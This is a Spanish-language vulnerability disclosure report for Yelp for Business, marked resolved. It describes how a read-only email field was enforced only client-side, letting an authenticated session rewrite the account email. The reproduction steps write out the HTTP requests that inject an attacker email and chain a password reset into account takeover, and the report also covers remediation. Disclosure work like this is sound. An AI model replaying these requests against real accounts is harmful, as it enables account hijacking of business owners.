Resumen
En la aplicación Android de Yelp for Business, la pantalla de información de la cuenta presenta el campo de email con un icono de candado y sin ningún editor: para el usuario es un dato de solo lectura. El problema es que el candado vivía únicamente en la interfaz. El botón de guardar de esa misma pantalla envía los datos a POST https://biz-app.yelp.com/account/info/bio/v1, y ese endpoint aceptaba y aplicaba un valor de email cualquiera sin comprobar la contraseña actual, sin confirmar el email anterior y sin exigir una validación posterior en la nueva dirección.
Se trata de un control de seguridad aplicado solo en el cliente (CWE-602): el servidor confiaba en que la app jamás enviaría un email, cuando en realidad basta con añadir ese campo a la petición. El cambio quedaba guardado de inmediato y era visible tanto en la propia API REST de biz-app.yelp.com como en un servicio distinto, la API GraphQL graphql-mobile-api.yelp.com, lo que descarta que fuera un simple eco de la respuesta.
El investigador señala el contraste con el cambio de contraseña: POST /account/password/v1 sí obliga a enviar old_password (responde 400 si falta), mientras que el email —que es el anclaje de recuperación de la cuenta— no tenía ninguna protección equivalente.
Pasos de reproducción
Requisitos: una cuenta de Yelp for Business, un x-auth-token válido de esa cuenta (la cabecera de cualquier sesión activa de la app) y un buzón controlado por el atacante.
- Consultar el email actual en el backend de GraphQL, para tener una referencia independiente del endpoint que se va a atacar:
``` POST https://graphql-mobile-api.yelp.com/gql/mobile x-auth-token: <victim_token> x-biz-auth-token: <victim_token> operation-name: GetAccountInfo accept: multipart/mixed;deferSpec=20220824, application/graphql-response+json, application/json content-type: application/json; charset=utf-8
{"extensions":{"clientLibrary":{"name":"apollo-kotlin","version":"4.4.3"},"documentId":"fbfe5585929a3f12b0fcf332f967dfb78e3197d5a4f27f2f69f112c4d3341db6","operationType":"query"},"variables":{}} ```
Respuesta (el email legítimo registrado):
``json {"data":{"loggedInBizUser":{"__typename":"BizUser","encid":"[REDACTADO]","private":{"__typename":"PrivateBizUserInfo","email":"[email protected]","hasConfirmedEmail":false,"loginProviders":["GOOGLE"]}}}} ``
- Enviar al endpoint de perfil la misma petición de guardado, pero añadiendo el campo
email:
``` POST https://biz-app.yelp.com/account/info/bio/v1 x-auth-token: <victim_token> x-device-id: <any> x-consumer-device-id: <any> content-type: application/json; charset=UTF-8
{"first_name":"<current>","last_name":"<current>","email":"[email protected]","role":"OWNER"} ```
La respuesta es HTTP 200 con el email del atacante ya aplicado, sin ningún reto ni notificación en ese momento:
``json {"first_name":"<current>","last_name":"<current>","email":"[email protected]","role":"OWNER"} ``
- Repetir la consulta GraphQL del paso 1. Ahora
private.emaildevuelve[email protected], lo que confirma que el cambio se ha persistido en la capa de datos y no es un eco de la respuesta anterior:
``json {"data":{"loggedInBizUser":{"__typename":"BizUser","encid":"[REDACTADO]","private":{"__typename":"PrivateBizUserInfo","email":"[email protected]","hasConfirmedEmail":false,"loginProviders":["GOOGLE"]}}}} ``
- Abrir la pantalla de información de la cuenta en la app de Yelp for Business: el campo de email muestra
[email protected]con el candado, idéntico al estado normal de la interfaz. El valor se reescribió en silencio pero la app lo sigue presentando como de solo lectura.
- Encadenar con la toma de cuenta: lanzar un reseteo de contraseña contra la dirección ya reescrita:
``` POST https://biz-app.yelp.com/account/forgot_password/v1 content-type: application/x-www-form-urlencoded
email=attacker%40example.com ```
Devuelve HTTP 200 y, en unos minutos, Yelp envía al buzón del atacante un correo real Reset Password - Yelp (desde la dirección no-reply de Yelp) con un enlace del tipo https://biz.yelp.com/forgot/reset/redirect/<token>. Ese enlace permite fijar una contraseña nueva sin aportar la antigua. Después, POST /account/login/v1 con el email reescrito y la contraseña elegida por el atacante concede el control completo de la cuenta.
Impacto
- Confirmado: una sesión autenticada podía reescribir en silencio el email de la cuenta, saltándose el control de solo lectura de la interfaz. La app seguía mostrando el valor reescrito como si fuera el email legítimo y bloqueado, y el cambio se persistía de inmediato tanto en la REST de
biz-app.yelp.comcomo en el GraphQL degraphql-mobile-api.yelp.com. - Toma de cuenta potencial (cadena): como el email reescrito es el anclaje de recuperación, el reseteo de contraseña con esa dirección devuelve 200 y Yelp envía un correo de reset auténtico. Dado que
/account/password/v1exigeold_passwordpero el enlace de reset no, un atacante que retenga brevemente el token de sesión de la víctima podía escalar ese acceso efímero a propiedad permanente de la cuenta: reasignar el email, pedir el reset, recibir el enlace en su propia dirección, fijar una contraseña nueva e iniciar sesión.
Remediación
El investigador propone rechazar el campo email en POST /account/info/bio/v1 y gestionar los cambios de email solo a través de un flujo dedicado que (a) vuelva a autenticar al usuario (contraseña actual o re-verificación reciente) y (b) deje el cambio en estado pendiente de confirmación: la nueva dirección solo pasa a ser válida cuando el usuario pulsa un enlace de verificación enviado a esa dirección, al tiempo que se avisa a la dirección anterior. Alinear la protección del cambio de email con la que ya tenía /account/password/v1 cerraría la cadena.
Datos del reporte
- Programa: Yelp
- Debilidad: Client-Side Enforcement of Server-Side Security (CWE-602)
- Severidad: Media
- Estado: Resuelto
- Recompensa: sí (importe no publicado)
- Enviado: 28 de mayo de 2026 · Divulgado: 2 de julio de 2026